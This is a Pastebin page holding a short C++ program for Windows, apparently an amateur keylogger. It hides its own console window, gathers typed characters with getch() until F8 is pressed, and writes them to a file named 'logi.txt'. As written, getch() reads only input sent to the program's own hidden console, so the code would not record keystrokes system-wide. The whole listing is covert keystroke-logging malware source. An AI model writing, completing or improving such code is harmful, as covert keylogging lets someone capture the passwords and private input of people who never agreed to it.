Advertisement
Guest User

Untitled

a guest
Nov 22nd, 2017
67
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.39 KB | None | 0 0
  1. #include <iostream>
  2. #include <windows.h>
  3. #include <fstream>
  4. #include <cstring>
  5. #include <conio.h>
  6.  
  7.  
  8. using namespace std;
  9.  
  10. int main(){
  11.  
  12. HWND hWnd = GetConsoleWindow();
  13. ShowWindow(hWnd,SW_HIDE);
  14.  
  15. int Char;
  16. string text;
  17. ofstream log;
  18.  
  19. log.open("logi.txt");
  20. while(!GetAsyncKeyState(VK_F8)){
  21.  
  22. text+=getch();
  23.  
  24.  
  25. }
  26. log<<text;
  27. log.close();
  28. exit(1);
  29.  
  30. return 0;
  31. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement